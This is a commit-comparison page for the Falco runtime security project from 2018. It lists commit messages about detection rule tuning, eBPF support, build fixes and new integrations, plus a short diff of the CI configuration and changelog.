Compare commits

...

72 Commits

Author SHA1 Message Date
Thom van Os
9c2e422803 Merge branch 'dev' into agent-master 2018-08-07 15:26:49 -07:00
Mark Stemm
24ca38a819 Prepare for 0.11.1 (#399)
Noting bug fix and bumping version.
2018-07-31 12:05:00 -07:00
Mark Stemm
ab0413a9ee Downgrade binutils in docker image (#397)
debian:unstable head contains binutils 2.31, which generates binaries
that are incompatible with kernels < 4.16.

To fix this, after installing everything, downgrade binutils to
2.30-22. This has to be done as the last step as it introduces conflicts
in other dependencies of the various gcc versions and some of the
packages already in the image.
2018-07-31 10:44:47 -07:00
Mark Stemm
fdbe62fdae Prepare for 0.11.0 (#393)
Updating CHANGELOG.md and README
2018-07-24 17:27:17 -07:00
Mark Stemm
d63542d8ff Rule updates 2018 07.v1 (#388)
* Add dpkg-divert as a debian package mgmt program.

* Add pip3 as a package mgmt program.

* Let ucpagent write config

Since the name is fairly generic (apiserver), require that it runs in a
container with image docker/ucp-agent.

* Let iscsi admin programs write config

* Add parent to some output strings

Will aid in addressing false positives.

* Let update-ca-trust write to pki files

* Add additional root writing programs

- zap: web application security tool
- airflow: apache app for managing data pipelines
- rpm can sometimes write below /root/.rpmdb
- maven can write groovy files

* Expand redis etc files

Additional program redis-launcher.(sh) and path /etc/redis.

* Add additional root directories

/root/workspace could be used by jenkins, /root/oradiag_root could be
used by Oracle 11 SQL*Net.

* Add pam-config as an auth program

* Add additional trusted containers

openshift image inspector, alternate name for datadog agent, docker ucp
agent, gliderlabs logspout.

* Add microdnf as a rpm binary.

https://github.com/rpm-software-management/microdnf

* Let coreos update-ssh-keys write /home/core/.ssh

* Allow additional writes below /etc/iscsi

Allow any path starting with /etc/iscsi.

* Add additional /root write paths

Additional files, with /root/workspace changing from a directory to a
path prefix.

* Add additional openshift trusted container.

* Also allow grandparents for ms_oms_writing_conf

In some cases the program spawns intermediate shells, for example:

07:15:30.756713513: Error File below /etc opened for writing (user= command=StatusReport.sh /opt/microsoft/omsconfig/Scripts/StatusReport.sh D34448EA-363A-42C2-ACE0-ACD6C1514CF1 EndTime parent=sh pcmdline=sh -c /opt/microsoft/omsconfig/Scripts/StatusReport.sh D34448EA-363A-42C2-ACE0-ACD6C1514CF1 EndTime file=/etc/opt/omi/conf/omsconfig/last_statusreport program=StatusReport.sh gparent=omiagent ggparent=omiagent gggparent=omiagent) k8s.pod= container=host k8s.pod= container=host

This should fix #387.
2018-07-24 13:14:35 -07:00
Brett Bertocci
7289315837 Ensure the /lib/modules symlink to /host/lib/modules is set correctly
If /lib/modules exists in the base image, the symlink will get created at
/lib/modules/modules. This removes any existing empty directory but will
fail if we try to remove a non-empty /lib/modules. (Punting on how to
handle non-empty base image dirs for now)
2018-07-16 13:42:41 -07:00
Jorge Salamero Sanz
25efce033b Merge pull request #391 from nestorsalceda/move-examples-to-integrations
Move existing integrations in examples directory to its own directory
2018-07-16 16:47:51 +02:00
Néstor Salceda
8bc4a5e38f Move puppet module from examples to integrations 2018-07-13 13:09:13 +02:00
Néstor Salceda
c05319927a Move kubernetes manifests from examples to integrations 2018-07-13 13:08:38 +02:00
Néstor Salceda
1e32d637b2 Move logrotate from examples to integrations 2018-07-13 13:02:26 +02:00
Jorge Salamero Sanz
ccf35552dd Merge pull request #389 from nestorsalceda/kubernetes-response-engine
Add Kubernetes response engine
2018-07-12 18:55:07 +02:00
Jorge Salamero Sanz
ec0c109d2a Merge pull request #390 from nestorsalceda/anchore-falco
Add integration between Falco and Anchore
2018-07-12 18:52:54 +02:00
Néstor Salceda
46b0fd833c Add a README 2018-07-12 17:56:59 +02:00
Néstor Salceda
bed5993500 Create Falco rule from Anchore policy result
When we are trying to run an image with negative policy result from
Anchore, Falco will alert us.
2018-07-12 17:15:21 +02:00
Néstor Salceda
bed360497e Remove repeated configurations and other stuff
As long as this PR merged, this is not needed:

https://github.com/kubernetes/charts/pull/6600
2018-07-11 17:52:11 +02:00
Néstor Salceda
3afe04629a Move kubernetes_response_engine under integrations
A top level directory for this integration could led to confussion.
2018-07-11 17:49:25 +02:00
Néstor Salceda
bebdff3d67 This rule does not add any value to the integration
It was just an example for cryptomining.
2018-07-11 17:18:56 +02:00
Thom van Os
e62b25a8fb Merge branch 'dev' into agent-master 2018-07-10 14:00:56 -07:00
Jorge Salamero Sanz
9543514270 Update README.md 2018-07-10 18:29:02 +02:00
Néstor Salceda
46405510e2 Update link target 2018-07-10 18:19:20 +02:00
Néstor Salceda
42285687d4 Add a README for Kubernetes infrastructure 2018-07-10 18:16:57 +02:00
Néstor Salceda
8b82a08148 Add Kubernetes manifests for deploying Nats + Falco + Kubeless 2018-07-10 18:11:38 +02:00
Jorge Salamero Sanz
19d251ef4b Update README.md 2018-07-10 18:08:54 +02:00
Néstor Salceda
66ba09ea3b Add a README for playbooks 2018-07-10 17:38:26 +02:00
Néstor Salceda
4867c47d4b Upload playbooks code 2018-07-10 16:41:56 +02:00
Néstor Salceda
526f32b54b Add a README for falco-nats output 2018-07-10 16:22:58 +02:00
Néstor Salceda
26ca866162 Add nats output for Falco 2018-07-10 16:22:18 +02:00
Néstor Salceda
893554e0f0 Add README for the kubernetes response engine 2018-07-10 13:44:02 +02:00
Mark Stemm
c5523d89a7 Rule updates 2018 04.v2 (#366)
* Add alternatives as a binary dir writer

It can set symlinks below binary dirs.

* Let userhelper read sens.files/write below /etc

Part of usermode package, can be used by oVirt.

* Let package mgmt progs urlgrabber pki files

Some package management programs run urlgrabber-ext-{down} to update pki
files.

* Add additional root directory

for Jupyter-notebook

* Let brandbot write to /etc/os-release

Used on centos

* Add an additional veritas conf directory.

Also /etc/opt/VRTS...

* Let appdynamics spawn shells

Java, so we look at parent cmdline.

* Add more ancestors to output

In an attempt to track down the source of some additional shell
spawners, add additional parents.

* Let chef write below bin dirs/rpm database

Rename an existing macro chef_running_yum_dump to python_running_chef
and add additional variants.

Also add chef-client as a package management binary.

* Remove dangling macro.

No longer in use.

* Add additional volume mgmt progs

Add pvscan as a volume management program and add an additional
directory below /etc. Also rename the macro to make it more generic.

* Let openldap write below /etc/openldap

Only program is run-openldap.sh for now.

* Add additional veritas directory

Also /etc/vom.

* Let sed write /etc/sedXXXXX files

These are often seen in install scrips for rpm/deb packages. The test
only checks for /etc/sed, as we don't have anything like a regex match
or glob operator.

* Let dse (DataStax Search) write to /root

Only file is /root/tmp__.

* Add additional mysql programs and directories

Add run-mysqld and /etc/my.cnf.d directory.

* Let redis write its config below /etc.

* Let id program open network connections

Seen using port 111 (sun-rpc, but really user lookups).

* Opt-in rule for protecting tomcat shell spawns

Some users want to consider any shell spawned by tomcat suspect for
example, protecting against the famous apache struts attack
CVE-2017-5638, while others do not.

Split the difference by adding a macro
possibly_parent_java_running_tomcat, but disabling it by default.

*  added ossec-syscheckd to read_sensitive_file_binaries

* Add "Write below monitored directory"

Take the technique used by "Write below binary dir", and make it more
general, expanding to a list of "monitored directories". This contains
common directories like /boot, /lib, etc.

It has a small workaround to look for home ssh directories without using
the glob operator, which has a pending fix in
https://github.com/draios/sysdig/pull/1153.

* Fix FPs

Move monitored_dir to after evt type checks and allow mkinitramfs to
write below /boot

* Addl boot writers.
2018-07-06 13:17:17 -07:00
Thom van Os
b2412302e6 Merge branch 'dev' into agent-master 2018-06-26 10:57:06 -07:00
Andrea Kao
81dcee23a9 edit Falco license info so that GitHub recognizes it (#380)
GitHub uses a library called Licensee to identify a project's license
type. It shows this information in the status bar and via the API if it
can unambiguously identify the license.

This commit updates the COPYING file so that it contains only the full
text of the GPL 2.0 license. The info that pertains to OpenSSL has now
been moved to the "License Terms" section in the README.

Collectively, these changes allow Licensee to successfully identify the
license type of Falco as GPL 2.0.

falco-CLA-1.0-signed-off-by: Andrea Kao <eirinikos@gmail.com>
2018-06-18 09:44:07 -07:00
Michael Ducy
81a38fb909 add gcc-6 to Dockerfiles: (#382) 2018-06-12 13:07:15 -07:00
Mattia Pagnozzi
e9e9bd85c3 Add libcurl include directory in CMakeLists (#374)
It's used in sinsp.
2018-06-07 17:59:02 -07:00
Mark Stemm
70f768d9ea Enable all rules (#379)
* Proactively enable rules instead of only disabling

Previously, rules were enabled by default. Some performance improvements
in https://github.com/draios/sysdig/pull/1126 broke this, requiring that
each rule is explicitly enabled or disabled for a given ruleset.

So if enabled is true, explicitly enable the rule for the default ruleset.

* Get rid of shadowed res variable.

It was used both for the inspector loop and the falco result.
2018-06-07 17:16:30 -07:00
Brett Bertocci
a0331c9602 Merge branch 'dev' into agent-master 2018-05-16 16:08:05 -07:00
Gianluca Borello
c3b0f0d96d Fix Travis CI 2018-05-09 14:15:10 -07:00
Gianluca Borello
2a7851c77b eBPF support for Falco 2018-05-09 14:15:10 -07:00
Thom van Os
cb5db7486b Merge branch 'dev' into agent-master 2018-05-04 11:14:44 -07:00
Mark Stemm
512a36dfe1 Conditional rules (#364)
* Add ability to skip rules for unknown filters

Add the ability to skip a rule if its condition refers to a filtercheck
that doesn't exist. This allows defining a rules file that contains new
conditions that can still has limited backward compatibility with older
falco versions.

When compiling a filter, return a list of filtercheck names that are
present in the ast (which also includes filterchecks from any
macros). This set of filtercheck names is matched against the set of
filterchecks known to sinsp, expressed as lua patterns, and in the
global table defined_filters. If no match is found, the rule loader
throws an error.

The pattern changes slightly depending on whether the filter has
arguments or not. Two filters (proc.apid/proc.aname) can work with or
without arguments, so both styles of patterns are used.

If the rule has an attribute "skip-if-unknown-filter", the rule will be
skipped instead.

* Unit tests for skipping unknown filter

New unit test for skipping unknown filter. Test cases:

 - A rule that refers to an unknown filter results in an error.
 - A rule that refers to an unknown filter, but has
   "skip-if-unknown-filter: true", can be read, but doesn't match any events.
 - A rule that refers to an unknown filter, but has
   "skip-if-unknown-filter: false", returns an error.

Also test the case of a filtercheck like evt.arg.xxx working properly
with the embedded patterns as well as proc.aname/apid which work both ways.
2018-05-03 14:24:32 -07:00
David Archer
73e1ae616a Don't make driver compilation fail when kernel is compiled with CONFIG_ORC_UNWINDER or CONFIG_STACK_VALIDATION. (#362)
sysdig-CLA-1.0-signed-off-by: David Archer <darcher@gmail.com>
2018-04-30 14:40:28 -07:00
Luca Marturana
c30c5a7a62 Merge branch 'dev' into agent-master 2018-04-26 13:17:01 -07:00
Mark Stemm
af57f2b5c8 Update CHANGELOG/README for 0.10.0 (#358) 2018-04-24 16:20:16 -07:00
Mark Stemm
30ae3447c3 Print ignored events/syscalls with -i (#359)
When run with -i, print out all ignored syscalls/event names and exit.
2018-04-24 16:07:28 -07:00
Mark Stemm
9d3392e9b9 Use better way to skip falco events (#356)
* Use better way to skip falco events

Use the new method falco_consider() to determine which events to
skip. This centralizes the logic in a single function. All events will
still be considered if falco was run with -A.

This depends on https://github.com/draios/sysdig/pull/1105.

* Add ability to specify -A flag in tests

test attribute all_events corresponds to the -A flag. Add for some tests
that would normally refer to skipped events.
2018-04-24 15:23:51 -07:00
Mark Stemm
6be4830342 Improve compatibility with falco 0.9.0 (#357)
* Improve compatibility with falco 0.9.0

Temporarily remove some rules features that are not compatible with
falco 0.9.0. We'll release a new falco soon, after which we'll add these
rules features back.

* Disable the unexpected udp traffic rule by default

Some applications will connect a udp socket to an address only to
test connectivity. Assuming the udp connect works, they will follow
up with a tcp connect that actually sends/receives data.

This occurs often enough that we don't want to update the Unexpected UDP
Traffic rule by default, so add a macro do_unexpected_udp_check which is
set to never_true. To opt-in, override the macro to use the condition
always_true.
2018-04-24 11:23:16 -07:00
Mark Stemm
e6bf402117 Rule updates 2018 04.v1 (#350)
* added new command lines for rabbitMQ

* added httpd_writing_ssl_conf macro and add it to write_etc_common

*  modified httpd_writing_ssl_conf to add additional files

* added additional command to httpd_writing_ssl_conf

* Wrap condition

Wrap condition with folded style.

* Consolidate test connect ports into one list

There were several exceptions for apps that do a udp connect on an
address simply to see if it works, folllowed by a tcp connect that
actually sends/receives data.

Unify these exceptions into a single list test_connect_ports, and add
port 9 (discard, used by dockerd).
2018-04-24 09:24:50 -07:00
Brett Bertocci
2b75439d08 Merge branch 'dev' into agent-master 2018-04-23 07:10:44 -07:00
Mark Stemm
e922a849a9 Add tests catchall order (#355)
* Only check whole rule names when matching counts

Tweak the regex so a rule my_great_rule doesn't pick up event counts for
a rule "great_rule: nnn".

* Add ability to skip evttype warnings for rules

A new attribute warn_evttypes, if present, suppresses printing warnings
related to a rule not matching any event type. Useful if you have a rule
where not including an event type is intentional.

* Add test for preserving rule order

Test the fix for https://github.com/draios/falco/issues/354. A rules
file has a event-specific rule first and a catchall rule second. Without
the changes in https://github.com/draios/sysdig/pull/1103, the first
rule does not match the event.
2018-04-19 09:31:20 -07:00
Mark Stemm
b6b490e26e Add Rule for unexpected udp traffic (#320)
* Add Rule for unexpected udp traffic

New rule Unexpected UDP Traffic checks for udp traffic not on a list of
expected ports. Currently blocked on
https://github.com/draios/falco/issues/308.

* Add sendto/recvfrom in inbound/outbound macros

Expand the inbound/outbound macros to handle sendfrom/recvto events, so
they can work on unconnected udp sockets. In order to avoid a flood of
events, they also depend on fd.name_changed to only consider
sendto/recvfrom when the connection tuple changes.

Also make the check for protocol a positive check for udp instead of not tcp,
to avoid a warning about event type filters potentially appearing before
a negative condition. This makes filtering rules by event type easier.

This depends on https://github.com/draios/sysdig/pull/1052.

* Add additional restrictions for inbound/outbound

 - only look for fd.name_changed on unconnected sockets.
 - skip connections where both ips are 0.0.0.0 or localhost network.
 - only look for successful or non-blocking actions that are in progress

* Add a combined inbound/outbound macro

Add a combined inbound/outbound macro so you don't have to do all the
other net/result related tests more than once.

* Fix evt generator for new in/outbound restrictions

The new rules skip localhost, so instead connect a udp socket to a
non-local port. That still triggers the inbound/outbound macros.

* Address FPs in regression tests

In some cases, an app may make a udp connection to an address with a
port of 0, or to an address with an application's port, before making a
tcp connection that actually sends/receives traffic. Allow these
connects.

Also, check both the server and client port and only consider the
traffic unexpected if neither port is in range.
2018-04-18 10:07:22 -07:00
Mark Stemm
ac190ca457 Properly support syscalls in filter conditions (#352)
* Properly support syscalls in filter conditions

Syscalls have their own numbers but they weren't really handled within
falco.  This meant that there wasn't a way to handle filters with
evt.type=xxx clauses where xxx was a value that didn't have a
corresponding event entry (like "madvise", for examples), or where a
syscall like open could also be done indirectly via syscall(__NR_open,
...).

First, add a new top-level global syscalls that maps from a string like
"madvise" to all the syscall nums for that id, just as we do for event
names/numbers.

In the compiler, when traversing the AST for evt.type=XXX or evt.type in
(XXX, ...) clauses, also try to match XXX against the global syscalls
table, and return any ids in a standalone table.

Also throw an error if an XXX doesn't match any event name or syscall name.

The syscall numbers are passed as an argument to sinsp_evttype_filter so
it can preindex the filters by syscall number.

This depends on https://github.com/draios/sysdig/pull/1100

* Add unit test for syscall support

This does a madvise, which doesn't have a ppm event type, both directly
and indirectly via syscall(__NR_madvise, ...), as well as an open
directly + indirectly. The corresponding rules file matches on madvise
and open.

The test ensures that both opens and both madvises are detected.
2018-04-17 17:14:45 -07:00
Mattia Pagnozzi
96b4ff0ee5 Fix/Expand "Modify bin dirs" rule (#353)
* Also check evt.abspath in "Modify binary dirs" rule
For unlinkat evt.arg[1] is not the path of the file/dir removed.

* Monitor renameat too in "Modify binary dirs" rule
2018-04-13 15:17:23 -07:00
Mark Stemm
5c58da2604 Start setting autodrop, which filters addl events (#351)
To further reduce falco's cpu usage, start setting the inspector in
"autodrop" mode with a sampling ratio of 1. When autodrop mode is
enabled, a second class of events (those having EF_ALWAYS_DROP in the
syscall table, or those syscalls that do not have specific handling in
the syscall table) are also excluded.
2018-04-11 20:07:25 -07:00
Mark Stemm
c5b3097a65 Add ability to read rules files from directories (#348)
* Add ability to read rules files from directories

When the argument to -r <path> or an entry in falco.yaml's rules_file
list is a directory, read all files in the directory and add them to the
rules file list. The files in the directory are sorted alphabetically
before being added to the list.

The installed falco adds directories /etc/falco/rules.available and
/etc/falco/rules.d and moves /etc/falco/application_rules.yaml to
/etc/falco/rules.available. /etc/falco/rules.d is empty, but the idea is
that admins can symlink to /etc/falco/rules.available for applications
they want to enable.

This will make it easier to add application-specific rulesets that
admins can opt-in to.

* Unit test for reading rules from directory

Copy the rules/trace file from the test multiple_rules to a new test
rules_directory. The rules files are in rules/rules_dir/{000,001}*.yaml,
and the test uses a rules_file argument of rules_dir. Ensure that the
same events are detected.
2018-04-05 17:03:37 -07:00
Mark Stemm
8389e44d7b Rotate logs (#347)
* Reopen file/program outputs on SIGUSR1

When signaled with SIGUSR1, close and reopen file and program based
outputs. This is useful when combined with logrotate to rotate logs.

* Example logrotate config

Example logrotate config that relies on SIGUSR1 to rotate logs.

* Ensure options exist for all outputs

Options may not be provided for some outputs (like stdout), so create an
empty set of options in that case.
2018-04-05 14:31:36 -07:00
Mark Stemm
a5daf8b058 Allow append skipped rules (#346)
* Allow appending to skipped rules

If a rule has an append attribute but the original rule was skipped (due
to having lower priority than the configured priority), silently skip
the appending rule instead of returning an error.

* Unit test for appending to skipped rules

Unit test verifies fix for appending to skipped rules. One rules file
defines a rule with priority WARNING, a second rules file appends to
that rules file, and the configured priority is ERROR.

Ensures that falco rules without errors.
2018-04-05 10:28:45 -07:00
Joshua Carp
a0053dba18 Use distinct names for file and program output pointers. (#335)
sysdig-CLA-1.0-signed-off-by: Josh Carp <jm.carp@gmail.com>
2018-04-04 22:07:00 -07:00
Anoop Gupta
b99a4e5ccf Merge remote-tracking branch 'origin/dev' into agent-master 2018-04-04 15:29:24 -07:00
Mark Stemm
88327abb41 Unit test for fd.net + in operator fixes (#343)
Tests fix for https://github.com/draios/falco/issues/339. Depends on
https://github.com/draios/sysdig/pull/1091.
2018-04-04 14:23:21 -07:00
Mark Stemm
1516fe4eac Rule updates 2018 02.v3 (#344)
* add common fluentd command, let docker modify

Add a common fluentd command, and let docker operations modify bin dir

* Add abrt-action-sav(...) as a rpm program

https://linux.die.net/man/1/abrt-action-save-package-data

* Add etc writers for more ms-on-linux svcs

Microsoft SCX and Azure Network Watcher Agent.

* Let nginx write its own config.

* Let chef-managed gitlab write gitlab config

* Let docker container fsen outside of containers

The docker process can also be outside of a container when doing actions
like docker save, etc, so drop the docker requirement.

* Expand the set of haproxy configs.

Let the parent process also be haproxy_reload and add an additional
directory.

* Add an additional node-related file below /root

For node cli.

* Let adclient read sensitive files

Active Directory Client.

* Let mesos docker executor write shells

* Add additional privileged containers.

A few more openshift-related containers and datadog.

* Add a kafka admin command line as allowed shell

In this case, run by cassandra

* Add additional ignored root directories

gradle and crashlytics

* Add back mesos shell spawning binaries back

This list will be limited only to those binaries known to spawn
shells. Add mesos-slave/mesos-health-ch.

* Add addl trusted containers

Consul and mesos-slave.

* Add additional config writers for sosreport

Can also write files below /etc/pki/nssdb.

* Expand selinux config progs

Rename macro to selinux_writing_conf and add additional programs.

* Let rtvscand read sensitive files

Symantec av cli program.

* Let nginx-launch write its own certificates

Sometimes directly, sometimes by invoking openssl.

* Add addl haproxy config writers

Also allow the general prefix /etc/haproxy.

* Add additional root files.

Mongodb-related.

* Add additional rpm binaries

rpmdb_stat

* Let python running get-pip.py modify binary files

Used as a part of directly running get-pip.py.

* Let centrify scripts read sensitive files

Scripts start with /usr/share/centrifydc

* Let centrify progs write krb info

Specifically, adjoin and addns.

* Let ansible run below /root/.ansible

* Let ms oms-run progs manage users

The parent process is generally omsagent-<version> or scx-<version.

* Combine & expand omiagent/omsagent macros

Combine the two macros into a single ms_oms_writing_conf and add both
direct and parent binaries.

* Let python scripts rltd to ms oms write binaries

Python scripts below /var/lib/waagent.

* Let google accounts daemon modify users

Parent process is google_accounts(_daemon).

* Let update-rc.d modify files below /etc

* Let dhcp binaries write indirectly to etc

This allows them to run programs like sed, cp, etc.

* Add istio as a trusted container.

* Add addl user management progs

Related to post-install steps for systemd/udev.

* Let azure-related scripts write below etc

Directory is /etc/azure, scripts are below /var/lib/waagent.

* Let cockpit write its config

http://www.cockpit-project.org/

* Add openshift's cassandra as a trusted container

* Let ipsec write config

Related to strongswan (https://strongswan.org/).

* Let consul-template write to addl /etc files

It may spawn intermediate shells and write below /etc/ssl.

* Add openvpn-entrypo(int) as an openvpn program

Also allow subdirectories below /etc/openvpn.

* Add additional files/directories below /root

* Add cockpit-session as a sensitive file reader

* Add puppet macro back

Still used in some people's user rules files.

* Rename name= to program=

Some users pointed out that name= was ambiguous, especially when the
event includes files being acted upon. Change to program=.

* Also let omiagent run progs that write oms config

It can run things like python scripts.

* Allow writes below /root/.android
2018-04-02 18:10:11 -07:00
Mark Stemm
559240b628 Example puppet module for falco (#341)
Add an example puppet module for falco. This module configures the main
falco configuration file /etc/falco/falco.yaml, providing templates for
all configuration options.

It installs falco using debian/rpm packages and installs/manages it as a
systemd service.
2018-03-28 11:50:04 -07:00
Mark Stemm
2a3ca21779 Skip output json format (#342)
* Add option to exclude output property in json fmt

New falco.yaml option json_include_output_property controls where the
formatted string "output" is included in the json object when json
output is enabled. By default the string is included.

* Add tests for new json output option

New test sets json_include_output_property to false and then verifies
that the json output does *not* contain the surrounding text "Warning an
open...".
2018-03-28 11:24:09 -07:00
Mark Stemm
a3f53138d3 Example showing cryptomining exploit (#336)
An example showing how an overly permissive container environment can be
exploited to install and run cryptomining software on a host system.
2018-03-16 15:17:39 -07:00
Brett Bertocci
05c4ba1842 Merge branch 'dev' into agent-master 2018-03-08 14:47:06 -08:00
Mark Stemm
eb4feed1b6 Associate --validate with -V. (#334)
* Associate --validate with -V.

This fixes https://github.com/draios/falco/issues/322.

* Pin the version of libvirt-python to < 4.1.0

Evidently a recent libvirt-python has build problems on ubuntu. See
https://bugs.launchpad.net/openstack-requirements/+bug/1753539.

Pin to releases < 4.1.0 to avoid picking up the newer one that
has the build failure.
2018-03-08 13:03:26 -08:00
Brett Bertocci
45d467656f Merge branch 'dev' into agent-master 2018-03-08 12:38:44 -08:00
Luca Marturana
ba6d6dbf9d Use gcc 5 by default to compile properly on Ubuntu Xenial, remove gcc 4.9 since CentOS does not work anyway due to glibc 2018-02-27 09:39:13 -08:00
Mark Stemm
38eb5b8741 Add more validations (#329)
* Add the ability to validate multiple rules files

Allow multiple -V arguments just as we do with multiple -r arguments.

* With verbose output, print dangling macros/lists

Start tracking whether or not a given macro/list is actually used when
compiling the set of rules. Every macro/list has an attribute used,
which defaults to false and is set to true whenever it is referred to in
a macro/rule/list.

When run with -v, any macro/list that still has used=false results in a
warning message.

Also, it turns out the fix for
https://github.com/draios/falco/issues/197 wasn't being applied to
macros. Fix that.
2018-02-26 16:59:18 -05:00
Mark Stemm
947faca334 Rule updates 2018 02.v2 (#326)
* Let OMS agent for linux write config

Programs are omiagent/omsagent/PerformInventor/in_heartbeat_r* and files
are below /etc/opt/omi and /etc/opt/microsoft/omsagent.

* Handle really long classpath lines for cassandra

Some cassandra cmdlines are so long the classpath truncates the cmdline
before the actual entry class gets named. In those cases also look for
cassandra-specific config options.

* Let postgres binaries read sensitive files

Also add a couple of postgres cluster management programs.

* Add apt-add-reposit(ory) as a debian mgmt program

* Add addl info to debug writing sensitive files

Add parent/grandparent process info.

* Requrire root directory files to contain /

In some cases, a file below root might be detected but the file itself
has no directory component at all. This might be a bug with dropped
events. Make the test more strict by requiring that the file actually
contains a "/".

* Let updmap read sensitive files

Part of texlive (https://www.tug.org/texlive/)

* For selected rules, require proc name to exist

Some rules such as reading sensitive files and writing below etc have
many exceptions that depend on the process name. In very busy
environments, system call events might end up being dropped, which
causes the process name to be missing.

In these cases, we'll let the sensitive file read/write below etc to
occur. That's handled by a macro proc_name_exists, which ensures that
proc.name is not "<NA>" (the placeholder when it doesn't exist).

* Let ucf write generally below /etc

ucf is a general purpose config copying program, so let it generally
write below /etc, as long as it in turn is run by the apt program
"frontend".

* Add new conf writers for couchdb/texmf/slapadd

Each has specific subdirectories below /etc

* Let sed write to addl temp files below /etc

Let sed write to additional temporary files (some directory + "sed")
below /etc. All generally related to package installation scripts.

* Let rabbitmq(ctl) spawn limited shells

Let rabbitmq spawn limited shells that perform read-only tasks like
reading processes/ifaces.

Let rabbitmqctl generally spawn shells.

* Let redis run startup/shutdown scripts

Let redis run specific startup/shutdown scripts that trigger at
start/stop. They generally reside below /etc/redis, but just looking for
the names redis-server.{pre,post}-up in the commandline.

* Let erlexec spawn shells

https://github.com/saleyn/erlexec, "Execute and control OS processes
from Erlang/OTP."

* Handle updated trace files

As a part of these changes, we updated some of the positive trace files
to properly include a process name. These newer trace files have
additional opens, so update the expected event counts to match.

* Let yum-debug-dump write to rpm database

* Additional config writers

Symantec AV for Linux, sosreport, semodule (selinux), all with their
config files.

* Tidy up comments a bit.

* Try protecting node apps again

Try improving coverage of run shell untrusted by looking for shells
below node processes again. Want to see how many FPs this causes before
fully committing to it.

* Let node run directly by docker count as a service

Generally, we don't want to consider all uses of node as a service wrt
spawned shells. But we might be able to consider node run directly by
docker as a "service". So add that to protected_shell_spawner.

* Also add PM2 as a protected shell spawner

This should handle cases where PM2 manages node apps.

* Remove dangling macros/lists

Do a pass over the set of macros/lists, removing most of those that are
no longer referred to by any macro/list. The bulk of the macros/lists
were related to the rule Run Shell Untrusted, which was refactored to
only detect shells run below specific programs. With that change, many
of these exceptions were no longer neeeded.

* Add a "never_true" macro

Add a never_true macro that will never match any event. Useful if you
want to disable a rule/macro/etc.

* Add missing case to write_below_etc

Add the macro veritas_writing_config to write_below_etc, which was
mistakenly not added before.

* Make tracking shells spawned by node optional

The change to generally consider node run directly in a container as a
protected shell spawner was too permissive, causing false
positives. However, there are some deployments that want to track shells
spawned by node as suspect. To address this, create a macro
possibly_node_in_container which defaults to never matching (via the
never_true) macro. In a user rules file, you can override the macro to
remove the never_true clause, reverting to the old behavior.

* Add some dangling macros/lists back

Some macros/lists are still referred to by some widely used user rules
files, so add them back temporarily.
2018-02-26 13:26:28 -05:00
Mark Stemm
0a66bc554a Improvements to falco daemonset configuration (#325)
* Use kubernetes.default to reach k8s api server

Originally raised in #296, but since then we documented rbac and
without-rbac methods, so mirroring the change here.

* Mount docker socket/dev read-write

This matches the direct docker run commands, which also mount those
resources read-write.
2018-02-20 12:57:59 -05:00
Jean-Philippe Lachance
4d8e982f78 + Add gdb in the development Docker image to help debugging (#323)
sysdig-CLA-1.0-signed-off-by: Jean-Philippe Lachance <jplachance@coveo.com>
2018-02-20 11:54:13 -05:00
Jean-Philippe Lachance
52e8c16903 + Add the user_known_change_thread_namespace_binaries list to simplify "Change thread namespace" rule tweaks (#324)
sysdig-CLA-1.0-signed-off-by: Jean-Philippe Lachance <jplachance@coveo.com>
2018-02-20 11:53:25 -05:00
Mark Stemm
414c9a0eed Rule updates 2018 02.v1 (#321)
* Add additional allowed files below root.

These are related to node.js apps.

* Let yum-config-mana(ger) write to rpm database.

* Let gugent write to (root) + GuestAgent.log

vRA7 Guest Agent writes to GuestAgent.log with a cwd of root.

* Let cron-start write to pam_env.conf

* Add additional root files and directories

All seen in legitimate cases.

* Let nginx run aws s3 cp

Possibly seen as a part of consul deployments and/or openresty.

* Add rule for disallowed ssh connections

New rule "Disallowed SSH Connection" detects ssh connection attempts
other than those allowed by the macro allowed_ssh_hosts. The default
version of the macro allows any ssh connection, so the rule never
triggers by default.

The macro could be overridden in a local/user rules file, though.

* Detect contacting NodePort svcs in containers

New rule "Unexpected K8s NodePort Connection" detects attempts to
contact K8s NodePort services (i.e. ports >=30000) from within
containers.

It requires overridding a macro nodeport_containers which specifies a
set of containers that are allowed to use these port ranges. By default
every container is allowed.
2018-02-20 10:06:13 -05:00
113 changed files with 4664 additions and 587 deletions

View File

@@ -10,13 +10,14 @@ before_install:
- sudo apt-get update
install:
- sudo apt-get --force-yes install g++-4.8
- sudo apt-get install rpm linux-headers-$(uname -r)
- sudo apt-get install rpm linux-headers-$(uname -r) libelf-dev
- git clone https://github.com/draios/sysdig.git ../sysdig
- sudo apt-get install -y python-pip libvirt-dev jq dkms
- cd ..
- curl -Lo avocado-36.0-tar.gz https://github.com/avocado-framework/avocado/archive/36.0lts.tar.gz
- tar -zxvf avocado-36.0-tar.gz
- cd avocado-36.0lts
- sed -e 's/libvirt-python>=1.2.9/libvirt-python>=1.2.9,<4.1.0/' < requirements.txt > /tmp/requirements.txt && mv /tmp/requirements.txt ./requirements.txt
- sudo -H pip install -r requirements.txt
- sudo python setup.py install
- cd ../falco

View File

@@ -2,6 +2,95 @@
This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
## v0.11.1
Released 2018-07-31
## Bug Fixes
* Fix a problem that caused the kernel module to not load on certain kernel versions [[#397](https://github.com/draios/falco/pull/397)] [[#394](https://github.com/draios/falco/issues/394)]
## v0.11.0
Released 2018-07-24
## Major Changes
* **EBPF Support** (Beta): Falco can now read events via an ebpf program loaded into the kernel instead of the `falco-probe` kernel module. Full docs [here](https://github.com/draios/sysdig/wiki/eBPF-(beta)). [[#365](https://github.com/draios/falco/pull/365)]
## Minor Changes
* Rules may now have an `skip-if-unknown-filter` property. If set to true, a rule will be skipped if its condition/output property refers to a filtercheck (e.g. `fd.some-new-attibute`) that is not present in the current falco version. [[#364](https://github.com/draios/falco/pull/364)] [[#345](https://github.com/draios/falco/issues/345)]
* Small changes to Falco `COPYING` file so github automatically recognizes license [[#380](https://github.com/draios/falco/pull/380)]
* New example integration showing how to connect Falco with Anchore to dynamically create falco rules based on negative scan results [[#390](https://github.com/draios/falco/pull/390)]
* New example integration showing how to connect Falco, [nats](https://nats.io/), and K8s to run flexible "playbooks" based on Falco events [[#389](https://github.com/draios/falco/pull/389)]
## Bug Fixes
* Ensure all rules are enabled by default [[#379](https://github.com/draios/falco/pull/379)]
* Fix libcurl compilation problems [[#374](https://github.com/draios/falco/pull/374)]
* Add gcc-6 to docker container, which improves compatibility when building kernel module [[#382](https://github.com/draios/falco/pull/382)] [[#371](https://github.com/draios/falco/issues/371)]
